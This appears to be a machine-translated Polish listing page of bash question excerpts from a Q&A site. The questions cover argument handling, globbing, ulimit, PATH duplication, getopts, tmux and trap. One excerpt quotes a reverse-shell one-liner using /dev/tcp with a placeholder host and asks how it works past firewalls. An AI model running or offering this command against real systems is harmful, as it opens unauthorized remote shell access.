Pytania specyficzne dla GNU Bourne Again SHell, w przeciwieństwie do innych powłok Bourne / POSIX. W przypadku pytań dotyczących powłok uniksowych użyj zamiast tego znacznika / shell.
Jeśli chodzi o ./script.sh arg1 [arg2 arg3 ...]argumenty wiersza poleceń arg1, arg2... można dostać przez $1, $2... Ale liczba argumentów jest nie ustalone. W skrypcie powłoki chcę przekazać argumenty zaczynające się od arg2do programu, #/bin/bash ... /path/to/a/program [I want to pass arg2 arg3 ... to the program] ... Jak mogę …
Jak mogę odwoływać się do ciągu według indeksu w sh / bash? To znaczy w zasadzie dzielenie. Próbuję usunąć 5 znaków z nazwy pliku. Wszystkie nazwy mają strukturę: nazwa_kod_nr. Usiłuję usunąć 5-bitowy kod kodu. name_nr_ma zawsze 10 znaków. Czy istnieje coś takiego; for i in * ; do mv "$i" …
Załóżmy, że wprowadziłem funkcję w wierszu polecenia bash, w wielu liniach zamiast ściskać ją za pomocą średnika: $ function blah { echo blah } $ history -1 12690 function blah {\necho blah\n} Jak wyświetlić to z prawdziwymi znakami nowej linii zamiast „\ n”?
Jak mogę wyświetlić listę plików o nazwie kończącej się ostatnim znakiem i .txtrozszerzeniem? Próbowałem, ls *+([[:digit:]]).txtale dotyczy to abc12.txti abc2.txt. Ale muszę tylko dostać abc2.txt. Jak mogę to zrobić? Czy istnieje jakaś forma :digit:tego umożliwiająca?
Próbuję zwiększyć maksymalną liczbę otwartych plików dla bieżącego użytkownika > ulimit -n 1024 Próbuję zwiększyć i nie powieść w następujący sposób > ulimit -n 4096 bash: ulimit: open files: cannot modify limit: Operation not permitted Więc robię to naturalnie i staram się biegać z uprawnieniami tymczasowymi, ale zawodzę > sudo …
Po uruchomieniu terminala bash zauważyłem, że zmienna PATH zawiera zduplikowane wpisy. Mój terminal uruchamia powłokę logowania , więc ~/.bash_profilejest pozyskiwany, a następnie ~/.profilei ~/.bashrc. Tylko ~/.profilewewnątrz mogę utworzyć wpisy ścieżek, które są zduplikowane. Aby być pedantycznym, jest to kolejność, w jakiej pozyskiwane są pliki, które POWINNY być pozyskiwane: Sourced /etc/profile …
Czy można uzyskać kolorowe wydruki z polecenia find ? Oznacza to, że na ścieżce każdego znalezionego elementu katalogi są niebieskie, skrypty wykonywalne są zielone, i tak dalej? Używam wersji 4.4.2 findutils GNU . Edycja - aby wyjaśnić, każdy wynik zostanie wyróżniony w następujący sposób: ./path/to/file.sh ^ ^ ^ | | …
Próbuję nauczyć się korzystać z getopts, aby móc mieć skrypty z analizowanym wejściem (chociaż myślę, że getopts może być lepszy). Próbuję napisać prosty skrypt, aby zwrócić procent użycia partycji. Problem polega na tym, że jedna z moich funkcji bash nie wydaje się podobać, że odwołuję się $1jako zmienna w funkcji. …
próbowałem bash -i >& /dev/tcp/HOST/PORT 0>&1 ale wydaje się, że nie działa za zaporami ogniowymi. Co tak naprawdę robi ten kod, które porty są przekazywane i czy może działać za zaporami ogniowymi?
Chcę odinstalować jakiś program za pomocą skryptu bash. Po uruchomieniu polecenia terminal pyta mnie, czy jestem pewien, że chcę go odinstalować. Więc muszę odpowiedzieć y. Chcę to zrobić automatycznie i odpowiedzieć ypo 10 sekundach. Zrobiłem ten przykład, ale nie działa - #!/usr/bin /opt/MNG/MNGVIEWHP/fe/uninstall sleep 10 echo "y" Dowolny pomysł? Centos …
Czy można sformatować tę próbkę: for i in string1 string2 stringN do echo $i done do czegoś podobnego do tego: for i in string1 string2 stringN do echo $i done EDYCJA: Przepraszam za zamieszanie, nie zdawałem sobie sprawy, że istnieją różne metody wykonywania skryptu - sh <scriptname>versus, bash <scriptname>a także …
Czy można zmienić tło aktywnej (bieżącej) zakładki tmux? Używam tmux 1.9na Ubuntu 15.04. $ tmux -V tmux 1.9 Próbowałem zrobić: set-option -g pane-active-border-fg red Ale wynik nie został zmieniony: Spodziewałem się, że 3-bash*będzie miał czerwone tło.
Otwieram terminal xterm (80 kolumn x 24 linie), a następnie uruchamiam $ bash --norc --noprofile, a następnie, $ ttyaby uzyskać nazwę pliku terminala: dane wyjściowe to /dev/pts/9. Z innego terminala uruchamiam: $ printf foo >/dev/pts/9 foojest wypisany w wierszu poleceń powłoki w pierwszym terminalu. Jeśli nacisnę, C-uaby uruchomić unix-line-discard(nazwa funkcji …
Wyjście powyższego polecenia po przejściu przez echo to: # echo systemctl\ {restart,status}\ sshd\; systemctl restart sshd; systemctl status sshd; Nawet jeśli wkleję dane wyjściowe do terminala, polecenie działa. Ale kiedy próbuję bezpośrednio uruchomić polecenie, otrzymuję: # systemctl\ {restart,status}\ sshd\; bash: systemctl restart sshd;: command not found... Mam dwa pytania.. Jak …
trapWbudowane w bash ma następującą składnię trap [-lp] [arg] [sigspec ...] ... Każdy sigspecjest nazwą sygnału lub numerem sygnału. Nazwy sygnałów nie uwzględniają wielkości liter, a prefiks SIG jest opcjonalny. ... Bash ręczne Zwraca uwagę, że sigspecmoże być EXIT, DEBUG, RETURN, i ERR. Czy są to nazwy sygnałów? Dlaczego nie …
Używamy plików cookie i innych technologii śledzenia w celu poprawy komfortu przeglądania naszej witryny, aby wyświetlać spersonalizowane treści i ukierunkowane reklamy, analizować ruch w naszej witrynie, i zrozumieć, skąd pochodzą nasi goście.
Kontynuując, wyrażasz zgodę na korzystanie z plików cookie i innych technologii śledzenia oraz potwierdzasz, że masz co najmniej 16 lat lub zgodę rodzica lub opiekuna.